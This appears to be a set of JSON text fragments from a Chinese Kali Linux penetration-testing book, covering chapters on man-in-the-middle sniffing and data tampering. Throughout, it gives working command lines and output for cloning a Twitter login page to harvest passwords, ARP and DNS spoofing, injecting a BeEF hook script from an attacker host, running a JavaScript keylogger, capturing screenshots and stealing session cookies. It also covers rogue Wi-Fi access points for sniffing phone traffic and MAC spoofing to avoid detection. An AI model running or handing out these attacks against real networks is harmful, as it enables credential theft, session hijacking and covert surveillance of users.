Java Applet攻击方法 2) Metasploit Browser Exploit Method # Metasploit浏览器利用方法 3) Credential Harvester Attack Method #认证信息获取攻击方法 4) Tabnabbing Attack Method #标签钓鱼攻击方法 5) Web Jacking Attack Method #Web劫持攻击方法 6) Multi-Attack Web Method #多重Web攻击方法 7) Full Screen Attack Method #全屏幕攻击方法 8) HTA Attack Method #HTA攻击方法 99) Return to Main Menu #返回主菜单 以上输出信息显示了可使用的Web向量攻击方法。"},
    {"text": "（4）这里选择使用认证信息获取攻击方法，所以输入3，将显示如下所示的信息： set:webattack>3 The first method will allow SET to import a list of pre-defined web applications that it can utilize within the attack. The second method will completely clone a website of your choosing and allow you to utilize the attack vectors within the completely same web application you were attempting to clone. The third method allows you to import your own website, note that you should only have an index.html when using the import website functionality. 1) Web Templates #Web模板 2) Site Cloner #网站克隆 3) Custom Import #自定义导入 99) Return to Webattack Menu #返回主菜单 以上输出信息中，显示了导入Web站点的方式。 （5）这里选择使用Web模板，所以输入1，将显示如下所示的信息： set:webattack>1 [-] Credential harvester will allow you to utilize the clone capabilities within SET [-] to harvest credentials or parameters from a website as well as place them into a report ----------------------------------------------------------------------- --- * IMPORTANT * READ THIS BEFORE ENTERING IN THE IP ADDRESS * IMPORTANT * --- The way that this works is by cloning a site and looking for form fields to rewrite. If the POST fields are not usual methods for posting forms this could fail. If it does, you can always save the HTML, rewrite the forms to be standard forms and use the \"IMPORT\" feature. Additionally, really important: If you are using an EXTERNAL IP ADDRESS, you need to place the EXTERNAL IP address below, not your NAT address. Additionally, if you don't know basic networking concepts, and you have a private IP address, you will need to do port forwarding to your NAT IP address from your external IP address. A browser doesns't know how to communicate with a private IP address, so if you don't specify an external IP address if you are using this from an external perpective, it will not work. This isn't a SET issue this is how networking works. set:webattack> IP address for the POST back in Harvester/Tabnabbing [192.168.0.112]: 以上输出信息的最后一行需要指定反向连接的主机地址，也就是攻击主机的地址。 （6）本例中攻击主机的地址为192.168.0.112，输入该地址，将显示如下信息： set:webattack> IP address for the POST back in Harvester/Tabnabbing [192.168.0.112]:192.168.0.112 -------------------------------------------------------- **** Important Information **** For templates, when a POST is initiated to harvest credentials, you will need a site for it to redirect. You can configure this option under: /etc/setoolkit/set.config Edit this file, and change HARVESTER_REDIRECT and HARVESTER_URL to the sites you want to redirect to after it is posted. If you do not set these, then it will not redirect properly. This only goes for templates. -------------------------------------------------------- 1. Java Required 2. Google 3. Twitter set:webattack> Select a template: 此时，选择要克隆的模板站点。 （7）本例中将克隆Twitter站点，所以输入3，将显示如下所示的信息： set:webattack> Select a template:3 [*] Cloning the website: http://www.twitter.com [*] This could take a little bit... The best way to use this attack is if username and password form fields are available. Regardless, this captures all POSTs on a website. [*] You may need to copy /var/www/* into /var/www/html depending on where your directory structure is. Press {return} if you understand what we're saying here. [*] The Social-Engineer Toolkit Credential Harvester Attack [*] Credential Harvester is running on port 80 [*] Information will be displayed to you as it arrives below: 从倒数第二行信息中可以看到获取信息正在80端口运行，而最后一行信息表示拦截到的信息将显示在下面。"},
    {"text": "执行命令： root@daxueba:~# ettercap -Tq -P dns_spoof -M arp /192.168.0.114///192.168.0.1// （9）为了使网页看起来更逼真，这里将使用第4章搭建的伪DNS服务器解析一个域名。 使用伪DNS服务器解析域名的另一个原因在于如果不使用DNS进行域名解析的话，目标用户访问到的网页地址栏中将显示攻击主机的IP地址，这样会暴露攻击主机的Web服务器地址。"},
    {"text": "当目标用户访问该域名时，将访问到克隆的页面，如图10.24所示。 图10.24 克隆的页面 （10）从图10.24中可以看到克隆页面显示的是Twitter网站的登录页面，而且浏览器的地址栏访问的域名是www.test.com。"},
    {"text": "监听到的信息如下： 192.168.0.114 - - [9/Nov/2019 11:51:06] \"GET /favicons/favicon.ico HTTP/ 1.1\" 404 - directory traversal attempt detected from: 192.168.0.114 192.168.0.114 - - [9/Nov/2019 11:51:06] \"GET /favicon.ico HTTP/1.1\" 404 - [*] WE GOT A HIT! Printing the output: POSSIBLE USERNAME FIELD FOUND: session[username_or_email]=testuser POSSIBLE PASSWORD FIELD FOUND: session[password]=password PARAM: authenticity_token=dba33c0b2bfdd8e6dcb14a7ab4bd121f38177d52 PARAM: scribe_log= POSSIBLE USERNAME FIELD FOUND: redirect_after_login= PARAM: authenticity_token=dba33c0b2bfdd8e6dcb14a7ab4bd121f38177d52 [*] WHEN YOU'RE FINISHED, HIT CONTROL-C TO GENERATE A REPORT. （11）从输出的信息中可以看到，已成功拦截了目标用户登录Twitter站点的用户名和密码。"},
    {"text": "如果想要停止攻击，就按Ctrl+C快捷键，将显示如下所示的信息： ^C[*] File exported to /root/.set//reports/2019-11-09 13:43:20.717971.html for your reading pleasure... [*] File in XML format exported to /root/.set//reports/2019-11-09 13:43:20.717971.xml for your reading pleasure... Press <return> to continue 从输出的信息中可以看到，嗅探到的信息报告默认保存到/root/.set/reports目录中。"},
    {"text": "而且，在MITMf框架中内置了大量的模块，可以实现许多强大的功能，如Spoof模块用来实施欺骗、Replace模块用来替换内容、JSKeylogger模块用来键盘记录等。"},
    {"text": "执行命令： root@daxueba:~# apt-get install python-dev python-setuptools libpcap0.8- dev libnetfilter-queue-dev libssl-dev libjpeg-dev libxml2-dev libxslt1-dev libcapstone3 libcapstone-dev libffi-dev file 执行以上命令后，如果没有出现任何错误，则所有依赖的库文件安装成功。"},
    {"text": "执行命令： root@daxueba:~# pip install virtualenvwrapper Collecting virtualenvwrapper Downloading https://files.pythonhosted.org/packages/c1/6b/2f05d73b2d2f 2410b48b90d3783a0034c26afa534a4a95ad5f1178d61191/virtualenvwrapper-4.8. 4.tar.gz (334kB) 100% |████████████████████████████████| 337kB 1.9MB/s Collecting stevedore (from virtualenvwrapper) Downloading https://files.pythonhosted.org/packages/b1/e1/f5ddbd83f60b 03f522f173c03e406c1bff8343f0232a292ac96aa633b47a/stevedore-1.31.0-py2. py3-none-any.whl (43kB) 100% |████████████████████████████████| 51kB 470kB/s Collecting virtualenv (from virtualenvwrapper) Downloading https://files.pythonhosted.org/packages/c5/97/00dd42a0fc41 e9016b23f07ec7f657f636cb672fad9cf72b80f8f65c6a46/virtualenv-16.7.7-py2. py3-none-any.whl (3.4MB) 100% |████████████████████████████████| 3.4MB 303kB/s Collecting virtualenv-clone (from virtualenvwrapper) Downloading https://files.pythonhosted.org/packages/ba/f8/50c2b7dbc99 e05fce5e5b9d9a31f37c988c99acd4e8dedd720b7b8d4011d/virtualenv_clone-0.5. 3-py2.py3-none-any.whl Requirement already satisfied: six>=1.10.0 in /usr/lib/python2.7/dist- packages (from stevedore->virtualenvwrapper) (1.12.0) Collecting pbr!=2.1.0,>=2.0.0 (from stevedore->virtualenvwrapper) Downloading https://files.pythonhosted.org/packages/46/a4/d5c83831a34 52713e4b4f126149bc4fbda170f7cb16a86a00ce57ce0e9ad/pbr-5.4.3-py2.py3-none- any.whl (110kB) 100% |████████████████████████████████| 112kB 4.0MB/s Building wheels for collected packages: virtualenvwrapper Running setup.py bdist_wheel for virtualenvwrapper ... done Stored in directory: /root/.cache/pip/wheels/70/d7/39/a522e494b0e145a1 bec42f45a6e542f097c20d0be3ec26866e Successfully built virtualenvwrapper Installing collected packages: pbr, stevedore, virtualenv, virtualenv- clone, virtualenvwrapper Successfully installed pbr-5.4.3 stevedore-1.31.0 virtualenv-16.7.7 virtualenv- clone-0.5.3 virtualenvwrapper-4.8.4 从最后一行信息中可以看到，成功安装的工具有virtualenv、virtualenv-clone等。"},
    {"text": "（3）编辑.bashrc文件，添加virtualenvwrapper.sh脚本的环境变量。 在Kali Linux中，virtualenvwrapper.sh脚本默认安装在/usr/local/bin目录中。 在.bashrc文件最后一行输入如下信息： root@daxueba:~# vi .bashrc source /usr/local/bin/virtualenvwrapper.sh （4）重新启动终端或者执行如下命令，使添加的环境变量生效： root@daxueba:~# source /usr/local/bin/virtualenvwrapper.sh （5）创建virtualenv工具的目录。"},
    {"text": "这里将使用pythons3.7创建一个名为MITMf目录。 执行命令： root@daxueba:~# mkvirtualenv MITMf -p /usr/bin/python3.7 执行以上命令后，将在当前目录下创建一个名为MITMf的目录。"},
    {"text": "执行命令： root@daxueba:~# cd MITMf && git submodule init && git submodule update --recursive （7）安装依赖包。 执行命令： root@daxueba:~/MITMf# pip install -r requirements.txt 执行以上命令后，如果没有出现错误，则所有的依赖包安装成功，即MITMf框架安装成功。"},
    {"text": "例如，查看MITMf框架的帮助信息，执行命令： root@daxueba:~/MITMf# python mitmf.py --help 2.使用MITMf框架 使用MITMf框架，对目标主机进行注入，可以进一步控制目标主机。"},
    {"text": "执行命令： root@daxueba:~# beef-xss [-] You are using the Default credentials [-] (Password must be different from \"beef\") [-] Please type a new password for the beef user: 最后一行输出信息要求为beEf用户设置一个新的密码。 输入一个新密码后，即可启动BeEF服务，并输出如下信息： [i] GeoIP database is missing [i] Run geoipupdate to download / update Maxmind GeoIP database [*] Please wait for the BeEF service to start. [*] [*] You might need to refresh your browser once it opens. [*] [*] Web UI: http://127.0.0.1:3000/ui/panel [*] Hook: <script src=\"http://<IP>:3000/hook.js\"></script> [*] Example: <script src=\"http://127.0.0.1:3000/hook.js\"></script> ● beef-xss.service - beef-xss Loaded: loaded (/lib/systemd/system/beef-xss.service; disabled; vendor preset: disabled) Active: active (running) since Sat 2019-11-09 11:31:39 CST; 5s ago Main PID: 9195 (ruby) Tasks: 9 (limit: 2280) Memory: 108.1M CGroup: /system.slice/beef-xss.service ├─9195 ruby /usr/share/beef-xss/beef └─9199 nodejs /tmp/execjs20191109-9195-10sbucpjs 11月 09 11:31:39 daxueba systemd[1]: Started beef-xss. 11月 09 11:31:43 daxueba beef[9195]: [11:31:41][*] Browser Exploitation Framework (BeEF) 0.4.7.3-alpha 11月 09 11:31:43 daxueba beef[9195]: [11:31:41] | Twit: @beefproject 11月 09 11:31:43 daxueba beef[9195]: [11:31:41] | Site: https:// beefproject.com 11月 09 11:31:43 daxueba beef[9195]: [11:31:41] | Blog: http://blog. beefproject.com 11月 09 11:31:43 daxueba beef[9195]: [11:31:41] |_ Wiki: https://github. com/beefproject/beef/wiki 11月 09 11:31:43 daxueba beef[9195]: [11:31:41][*] Project Creator: Wade Alcorn (@WadeAlcorn) 11月 09 11:31:43 daxueba beef[9195]: [11:31:42][*] BeEF is loading. Wait a few seconds... [*] Opening Web UI (http://127.0.0.1:3000/ui/panel) in: 5... 4... 3... 2... 1... 看到以上输出信息，就表明已成功启动了BeEF服务。"},
    {"text": "当BeEF服务成功启动后，将自动在浏览器中打开其Web用户界面，如图10.25所示。 图10.25 BeEF的Web用户界面 （2）在该界面输入用户名和密码，即可登录到BeEF服务。"},
    {"text": "图10.26 BeEF的主界面 （3）使用MITMf框架实施注入，执行命令： root@daxueba:~/MITMf# python mitmf.py --spoof --arp -i eth0 --gateway 192. 168.198.2 --target 192.168.198.131 --inject --js-url http://192.168.198. 138:3000/hook.js @@@@@@@@@@ @@@ @@@@@@@ @@@@@@@@@@ @@@@@@@@ @@@@@@@@@@@ @@@ @@@@@@@ @@@@@@@@@@@ @@@@@@@@ @@! @@! @@! @@! @@! @@! @@! @@! @@! !@! !@! !@! !@! !@! !@! !@! !@! !@! @!! !!@ @!@ !!@ @!! @!! !!@ @!@ @!!!:! !@! ! !@! !!! !!! !@! ! !@! !!!!!: !!: !!: !!: !!: !!: !!: !!: :!: :!: :!: :!: :!: :!: :!: ::: :: :: :: ::: :: :: : : : : : : : [*] MITMf v0.9.8 - 'The Dark Side' | |_ Net-Creds v1.0 online |_ Spoof v0.6 | |_ ARP spoofing enabled |_ Inject v0.4 |_ Sergio-Proxy v0.2.1 online |_ SSLstrip v0.9 by Moxie Marlinspike online | |_ MITMf-API online * Serving Flask app \"core.mitmfapi\" (lazy loading) * Environment: production WARNING: This is a development server. Do not use it in a production deployment. Use a production WSGI server instead. * Debug mode: off * Running on http://127.0.0.1:9999/ (Press CTRL+C to quit) |_ HTTP server online |_ DNSChef v0.4 online |_ SMB server online 看到以上输出信息，就表明已成功启动了MITMf框架。"},
    {"text": "此时，在MITMf的终端，将会看到目标主机请求的站点信息，如下： 2019-11-09 15:06:08 192.168.198.131 [type:IE-11 os:Windows] www.qq.com 2019-11-09 15:06:08 192.168.198.131 [type:IE-11 os:Windows] [Inject] Injected JS script: www.qq.com 2019-11-09 15:06:08 192.168.198.131 [type:IE-11 os:Windows] mat1.gtimg.com 2019-11-09 15:06:08 192.168.198.131 [type:IE-11 os:Windows] mat1.gtimg.com 2019-11-09 15:06:08 192.168.198.131 [type:IE-11 os:Windows] mat1.gtimg.com 2019-11-09 15:06:08 192.168.198.131 [type:IE-11 os:Windows] mat1.gtimg.com 从输出的信息中可以看到，目标主机使用的操作系统为Windows，浏览器类型为IE-11，访问了www.qq.com站点，而且向该站点注入了JS脚本。"},
    {"text": "图10.28 目标主机 （6）从该界面可以看到，目标主机的IP地址为192.168.198.131。 此时，单击目标主机的IP地址，将显示如图10.29所示的界面。 图10.29 目标主机的浏览器详细信息 （7）该界面显示了目标主机的浏览器详细信息。"},
    {"text": "【实例10-9】 使用MITMf框架自带的键盘记录功能，来嗅探用户输入的信息。 具体操作步骤如下： （1）启动MITMf框架的键盘记录功能。 执行命令： root@daxueba:~/MITMf# python mitmf.py --spoof --arp -i eth0 --gateway 192.168.198.2 --target 192.168.198.131 --jskeylogger ▄▄▄▄███▄▄▄▄ ▄█ ███ ▄▄▄▄███▄▄▄▄ ▄████████ ▄██▀▀▀███▀▀▀██▄ ███ ▀█████████▄ ▄██▀▀▀███▀▀▀██▄ ███ ███ ███ ███ ███ ███▌ ▀███▀▀██ ███ ███ ███ ███ █▀ ███ ███ ███ ███▌ ███ ▀ ███ ███ ███ ▄███▄▄▄ ███ ███ ███ ███▌ ███ ███ ███ ███ ▀▀███▀▀▀ ███ ███ ███ ███ ███ ███ ███ ███ ███ ███ ███ ███ ███ ███ ███ ███ ███ ███ ▀█ ███ █▀ █▀ ▄████▀ ▀█ ███ █▀ ███ [*] MITMf v0.9.8 - 'The Dark Side' | |_ Net-Creds v1.0 online |_ Spoof v0.6 | |_ ARP spoofing enabled |_ JSKeylogger v0.2 |_ Sergio-Proxy v0.2.1 online |_ SSLstrip v0.9 by Moxie Marlinspike online | |_ MITMf-API online * Serving Flask app \"core.mitmfapi\" (lazy loading) * Environment: production WARNING: Do not use the development server in a production environment. Use a production WSGI server instead. * Debug mode: off |_ HTTP server online * Running on http://127.0.0.1:9999/ (Press CTRL+C to quit) |_ DNSChef v0.4 online |_ SMB server online 看到以上输出信息，就表明已成功启动了MITMf框架的键盘记录功能。"},
    {"text": "嗅探到的信息如下： 2019-11-09 15:16:45 192.168.198.131 [type:IE-11 os:Windows] [JSKeylogger] Injected JS file: dl.reg.163.com 2019-11-09 15:16:45 192.168.198.131 [type:IE-11 os:Windows] dl.reg.163.com 2019-11-09 15:16:45 192.168.198.131 [type:IE-11 os:Windows] dl.reg.163.com 2019-11-09 15:16:45 192.168.198.131 [type:IE-11 os:Windows] POST Data (dl.reg.163.com): {\"un\":\"testuser@163.com\",\"pw\":\"dfG6lM20PZ0P0qI/9iPyIjhv0gp55RjBklSfg+lf AXN5dDJBzs0HNW8fdsI+04bHQ5Mulkjtj06n/AaBOcysuWXALIOPAo/occeVtpxmjI3MpFq Lvfz6Bqi5f8pyqe2/v+AC7/LisfNhxWg+/4Md+KCx8Uz39OrNttPLtmr14aE=\",\"pd\":\"ma il163\",\"l\":0,\"d\":10,\"t\":1540192870644,\"pkid\":\"CvViHzl\",\"domains\":\"163. com\",\"tk\":\"61156ace1b884c36a20dad264d55aa73\",\"pwdKeyUp\":1,\"b\":1,\"rtid\": \"uKESPc6Apnh8DkIcwDPEJbsmnL1QnmXb\",\"topURL\":\"http://mail.163.com/\"} 从输出的信息中可以看到嗅探到的用户信息。"},
    {"text": "执行命令： root@daxueba:~/MITMf# python mitmf.py --spoof --arp -i eth0 –gateway 192. 168.198.2 --target 192.168.198.131 --screen （2）在目标主机上打开一些程序，将会被MITMf框架截取到。"},
    {"text": "图10.31 目标用户浏览的页面 （3）此时，MITMf框架将监听如下信息： 2019-11-09 15:23:49 192.168.198.131 [type:IE-11 os:Windows] www.csdn.net 2019-11-09 15:23:49 192.168.198.131 [type:IE-11 os:Windows] [ScreenShotter] Saved screenshot to 192.168.198.131-www.csdn.net-2019-11-09_15:23:49: 1573284229.png 2019-11-09 15:23:49 192.168.198.131 [type:IE-11 os:Windows] Zapped a strict-transport-security header 2019-11-09 15:23:49 192.168.198.131 [type:IE-11 os:Windows] [ScreenShotter] Injected JS payload: www.csdn.net 2019-11-09 15:23:49 192.168.198.131 [type:IE-11 os:Windows] Zapped a strict-transport-security header 2019-11-09 15:23:49 192.168.198.131 [type:IE-11 os:Windows] [ScreenShotter] Injected JS payload: www.csdn.net 2019-11-09 15:23:52 192.168.198.131 [type:IE-11 os:Windows] [ScreenShotter] Injected JS payload: kunpeng-sc.csdnimg.cn 2019-11-09 15:24:11 192.168.198.131 [type:IE-11 os:Windows] [ScreenShotter] Saved screenshot to 192.168.198.131-adaccount.csdn.net-2019-11-09_15:24: 11:1573284251.png 2019-11-09 15:24:11 192.168.198.131 [type:IE-11 os:Windows] [ScreenShotter] Saved screenshot to 192.168.198.131-adaccount.csdn.net-2019-11-09_15:24: 11:1573284251.png 2019-11-09 15:24:11 192.168.198.131 [type:IE-11 os:Windows] [ScreenShotter] Saved screenshot to 192.168.198.131-adaccount.csdn.net-2019-11-09_15:24: 11:1573284251.png 2019-11-09 15:24:11 192.168.198.131 [type:IE-11 os:Windows] [ScreenShotter] Saved screenshot to 192.168.198.131-adaccount.csdn.net-2019-11-09_15:24: 11:1573284251.png 2019-11-09 15:24:11 192.168.198.131 [type:IE-11 os:Windows] [ScreenShotter] Saved screenshot to 192.168.198.131-adaccount.csdn.net-2019-11-09_15:24:11: 1573284251.png 从输出的信息中可以看到目标主机访问的信息和保存的一些图片信息（加粗部分）。"},
    {"text": "执行命令： root@daxueba:~/MITMf# python mitmf.py --spoof --arp -i eth0 –gateway 192.168.198.2 --target 192.168.198.131 --ferretng （2）当捕获目标主机的Cookie信息时，将会执行标准输出，如下所示。"},
    {"text": "2019-11-09 15:28:23 192.168.198.131 [type:IE-11 os:Windows] kali.daxueba. net 2019-11-09 15:28:23 192.168.198.131 [type:IE-11 os:Windows] kali.daxueba. net 2019-11-09 15:28:23 192.168.198.131 [type:IE-11 os:Windows] kali.daxueba. net 2019-11-09 15:28:23 192.168.198.131 [type:IE-11 os:Windows] [Ferret-NG] Host: kali.daxueba.net Captured cookie: wordpress_c559d70f4c171d90bd79d7 496f4d1bb0=kalilinux%7C1540373328%7CxVMteNqz7dyskx8EA35gFlzvQW3EtazQx19 9XBb3uGY%7C1a7033a6e9b6db7a3a0e07ca1669e9834535560b027d0e7ef33b9015572c 9e75; wordpress_test_cookie=WP+Cookie+check; wordpress_logged_in_c559d70 f4c171d90bd79d7496f4d1bb0=kalilinux%7C1540373328%7CxVMteNqz7dyskx8EA35g FlzvQW3EtazQx199XBb3uGY%7Ccf9b210130002c7507efbe7cff2defafed32e9e796209 ade06f910693e24a051; wp-settings-1=libraryContent%3Dbrowse%26align%3Dle ft%26wplink%3D1%26editor%3Dtinymce%26posts_list_mode%3Dlist; wp-settings- time-1=1540200529 2019-11-09 15:28:23 192.168.198.131 [type:IE-11 os:Windows] POST Data (kali.daxueba.net): data%5Bwp-check-locked-posts%5D%5B%5D=post-1852&data%5Bwp-check-locked- posts%5D%5B%5D=post-1850&data%5Bwp-check-locked-posts%5D%5B%5D=post-184 8&data%5Bwp-check-locked-posts%5D%5B%5D=post-1846&data%5Bwp-check-locke d-posts%5D%5B%5D=post-1844&data%5Bwp-check-locked-posts%5D%5B%5D=post-1 841&data%5Bwp-check-locked-posts%5D%5B%5D=post-1838&data%5Bwp-check-loc ked-posts%5D%5B%5D=post-1836&data%5Bwp-check-locked-posts%5D%5B%5D=post -1834&data%5Bwp-check-locked-posts%5D%5B%5D=post-1832&data%5Bwp-check-l ocked-posts%5D%5B%5D=post-1829&data%5Bwp-check-locked-posts%5D%5B%5D=po st-1827&data%5Bwp-check-locked-posts%5D%5B%5D=post-1825&data%5Bwp-check -locked-posts%5D%5B%5D=post-1823&data%5Bwp-check-locked-posts%5D%5B%5D= post-1821&data%5Bwp-check-locked-posts%5D%5B%5D=post-1819&data%5Bwp-che ck-locked-posts%5D%5B%5D=post-1817&data%5Bwp-check-locked-posts%5D%5B%5 D=post-1815&data%5Bwp-check-locked-posts%5D%5B%5D=post-1813&data%5Bwp-c heck-locked-posts%5D%5B%5D=post-1811&interval=15&_nonce=3ddd3be080&acti on=heartbeat&screen_id=edit-post&has_focus=true 以上就是MITMf框架监听到的Cookie信息。"},
    {"text": "执行命令： root@daxueba:~/MITMf# python mitmf.py --spoof --arp -i eth0 --gateway 192.168.198.2 --target 192.168.198.131 --upsidedownternet 执行以上命令后，利用MITMf框架进行的攻击就成功启动了。"},
    {"text": "未知 10.4 嗅探手机数据 在6.2节介绍了通过创建伪AP，可以实施中间人攻击。其实，在对连接伪AP的设备成功实施中间人攻击后，还可以使用抓包工具（如Wireshark或Tcpdump）来嗅探其数据。另外，攻击者也可以实施DNS欺骗，将目标设备重定向到一个伪站点，进而嗅探其敏感信息。本节介绍嗅探手机数据包的方法。 未知 10.4.1 使用Wireshark工具 Wireshark工具是一个网络封包分析软件。网络封包分析软件的功能就是截取网络封包，并尽可能地显示出最为详细的网络封包资料。因此，使用Wireshark工具监听伪AP接口，即可嗅探目标设备的数据包。本节将介绍如何使用Wireshark工具捕获手机数据包。 【实例10-13】 使用Wireshark工具捕获手机数据包。具体操作步骤如下： （1）使用6.2节介绍的方法，创建伪AP，并且迫使目标设备连接到该伪AP。本例中，将使用hostapd工具来启动伪AP。执行命令： root@daxueba:~# hostapd /root/fakeap/hostapd.conf Configuration file: /root/fakeap/hostapd.conf Using interface wlan0 with hwaddr 92:4a:45:de:ca:0a and ssid \"Test\" wlan0: interface state UNINITIALIZED->ENABLED wlan0: AP-ENABLED （2）启动Wireshark工具。执行命令： root@daxueba:~# wireshark 成功启动Wireshark工具后，将显示如图10.34所示的窗口。 图10.34 Wireshark网络分析器窗口 （3）在该窗口选择伪AP监听的网络接口“wlan0”，并单击按钮，开始捕获数据包。如果用户使用其他工具创建伪AP的话，则监听的接口应该是“at0”。在成功捕获数据包后，将显示如图10.35所示的窗口。 图10.35 捕获的数据包 （4）从该窗口可以看到捕获的数据包。从Destination列中可以看到，是手机（10.0.0.100）请求及响应的所有数据包。此时，攻击者可以对每个数据包进行详细分析。例如，这里查看一个HTTP请求包，其详细信息如图10.36所示。 图10.36 HTTP请求包的详细信息 （5）从该窗口显示的数据包信息中，可以看到该HTTP请求访问的是腾讯服务器。由此可知，目标用户可能正在使用手机QQ聊天。而且，从用户代理信息中可以看到，目标是一个OPPO R9 Plustm A移动设备，而且系统版本为安卓5.1.1。当然，攻击者也可以对Cookie信息进行利用。在显示过滤器文本框中输入显示过滤器“http.cookie”进行过滤，捕获包含Cookie的HTTP数据。这里查看一个HTTP数据包，在其详细信息中可以看到Cookie信息，如图10.37所示。 图10.37 过滤的Cookie信息包 未知 10.4.2 使用Ettercap工具 当目标手机连接到伪AP后，攻击者也可以使用Ettercap工具来嗅探数据。下面将介绍如何使用Ettercap工具对手机设备进行数据嗅探。 【实例10-14】 使用Ettercap工具对手机设备的数据进行嗅探。执行命令： root@daxueba:~# ettercap -i wlan0 -Tq /// 如果嗅探到目标手机传输数据，将标准输出。输出的信息如下： HTTP : 10.0.0.1:80 -> USER: {\"appid\":\"oppobrowser\",\"inFeeds\":false,\"subType\": \"expose\",\"date\":\"2019-11-09+14:19:52++0800\",\"doc\":[{\"impid\":\"-146990213 2_1540265592245_2451\",\"pageid\":\"Homepage\",\"docids\":[\"0KKD57fk\",\"0KJY9uy I\"]}]} PASS: INFO: /feedsStatistic/log?__t=1540277395&feedssession= d5ea88f8021f31adbfc841d3e61f4db0&session=eyJ5aWRpYW4iOiJKU0V CONTENT: log=%7B%22appid%22%3A%22oppobrowser%22%2C%22inFeeds%22%3Afalse %2C%22subType%22%3A%22expose%22%2C%22date%22%3A%222019-11-09+14%3A19%3A 52+%2B0800%22%2C%22doc%22%3A%5B%7B%22impid%22%3A%22-1469902132_15402655 92245_2451%22%2C%22pageid%22%3A%22Homepage%22%2C%22docids%22%3A%5B%220K KD57fk%22%2C%220KJY9uyI%22%5D%7D%5D%7D&source=yidian&session=eyJ5aWRpYW 4iOiJKU0VTU0lPTklEPURqWDVjRUY2OFp2Slg3ODdCOUVOQXc7LTE0Njk5MDIxMzIiLCJvc HBvIjoib2ZzPWQ1ZWE4OGY4MDIxZjMxYWRiZmM4NDFkM2U2MWY0ZGIwIiwicyI6InlpZGlh biIsImluZm8iOnsicnQiOiIxNTQwMjE2OTQyIiwiZnQiOiIxNDcyMzEzNjAwIiwidW4iOiJ PUFBPXzE1ODQ1NTE2NiJ9fQ%3D%3D&delayed=1&version=1 从输出的信息中可以看到嗅探到的敏感信息。 提示： 攻击者同样也可以结合使用SSLStrip工具，来嗅探目标手机上使用SSL加密的数据。"},
    {"text": "未知 10.4.3 重定向手机设备数据 当目标手机设备连接到伪AP时，攻击者可以通过伪DNS服务器对某个站点进行重定向。假设攻击者创建了一个伪站点登录页面，则可通过这种方式来骗取手机用户的登录信息。下面将介绍如何对手机设备的数据进行重定向。 【实例10-15】 重定向手机设备数据。具体操作步骤如下： （1）配置伪DNS服务器。在创建伪AP时，需要在伪DHCP服务器中指定使用的DNS服务器地址为伪AP接口的地址。因此，攻击者需要为在该接口上配置伪DNS服务器。具体配置DNS服务器的方法，在4.2节已经介绍过不再赘述。这里用户只需要将解析的IP地址指定为伪AP接口IP地址10.0.0.1即可。使用nslookup命令测试，以确定伪DNS服务器正常工作。执行命令： root@daxueba:~# nslookup www.test.com Server: 10.0.0.1 Address: 10.0.0.1#53 Name: www.test.com Address: 10.0.0.1 从输出的信息中可以看到，伪DNS服务器可以正常进行DNS解析。 （2）创建伪站点，并且指定的域名能够使伪DNS服务器解析。为了方便，本例中仍然使用Apache2的默认页面来进行测试，所以配置伪站点的域名为www.test.com。执行命令： root@daxueba:~# vi /etc/apache2/sites-enabled/000-default.conf …… ServerName www.test.com 将以上信息配置完成后，重新启动DNS服务和Apache服务。 （3）此时，当目标手机访问www.test.com站点时，将被重定向到伪站点页面，如图10.38所示。如果访问其他站点的话，仍然正常。例如，访问CSDN博客成功后，将显示如图10.39所示的页面。 图10.38 欺骗成功 图10.39 访问正常 未知 第11章 数据篡改 在中间人攻击中，数据嗅探只能被动地获取数据。为了获取更多的数据，或控制目标主机，往往需要篡改数据。数据篡改就是当主机A和主机B通信时，攻击主机C不仅对两者进行网络欺骗和数据转发，还对要转发的数据进行修改，以达到特定的目的。本章将介绍如何实施数据篡改。 未知 11.1 修改数据链路层的数据流 数据链路层是TCP/IP模型的最底层，主要作用是实现两个设备之间的数据传递。当攻击者实施攻击时，目标用户通过捕获数据包，可能会发现攻击主机的MAC地址和IP地址，并通过路由跟踪找到攻击主机。为了隐藏攻击主机的身份，攻击者可以修改数据链路层中的MAC地址和IP地址。本节将介绍如何修改数据链路层的数据流。 未知 11.1.1 使用Yersinia工具 Yersinia工具不仅可以用来实施攻击，而且还可以进行数据篡改。攻击者可以使用Yersinia工具修改攻击主机的MAC地址，以避免被目标用户发现。下面介绍如何用GTK窗口操作模式修改数据流。 【实例11-1】 使用Yersinia工具修改MAC地址。具体操作步骤如下： （1）启动Yersinia工具的GTK窗口操作模式。执行命令： root@daxueba:~# yersinia -G 执行以上命令后，即可成功启动Yersinia工具，如图11.1所示。 （2）在工具栏中单击Edit mode按钮，即可启动编辑模式。选择不同的选项卡，即可修改支持的所有协议信息。例如，选择DHCP选项卡，可以修改DHCP中的数据包信息。这里将在Source MAC文本框中修改源MAC地址为00:01:02:03:04:05，在SIP文本框中修改源IP地址为192.168.1.100，如图11.2所示。 图11.1 Yersinia 0.8.2窗口 图11.2 修改数据包信息 （3）单击Edit mode按钮保存配置。单击Launch attack按钮，打开Choose protocol attack对话框，如图11.3所示。 图11.3 Choose protocol attack对话框 （4）在DHCP选项卡中选择sending RAW packet单选按钮，单击OK按钮，即可发送攻击数据包，如图11.4所示。 图11.4 发送的攻击数据包 （5）从如图11.4所示的窗口中可以看到，成功发送了一个攻击包。其中，该数据包的源IP地址为192.168.1.100。选择该数据包，在窗口的左下方区域中可以看到源MAC地址为00:01:02:03:04:05。由此可知，成功修改并发送了攻击数据包。"},
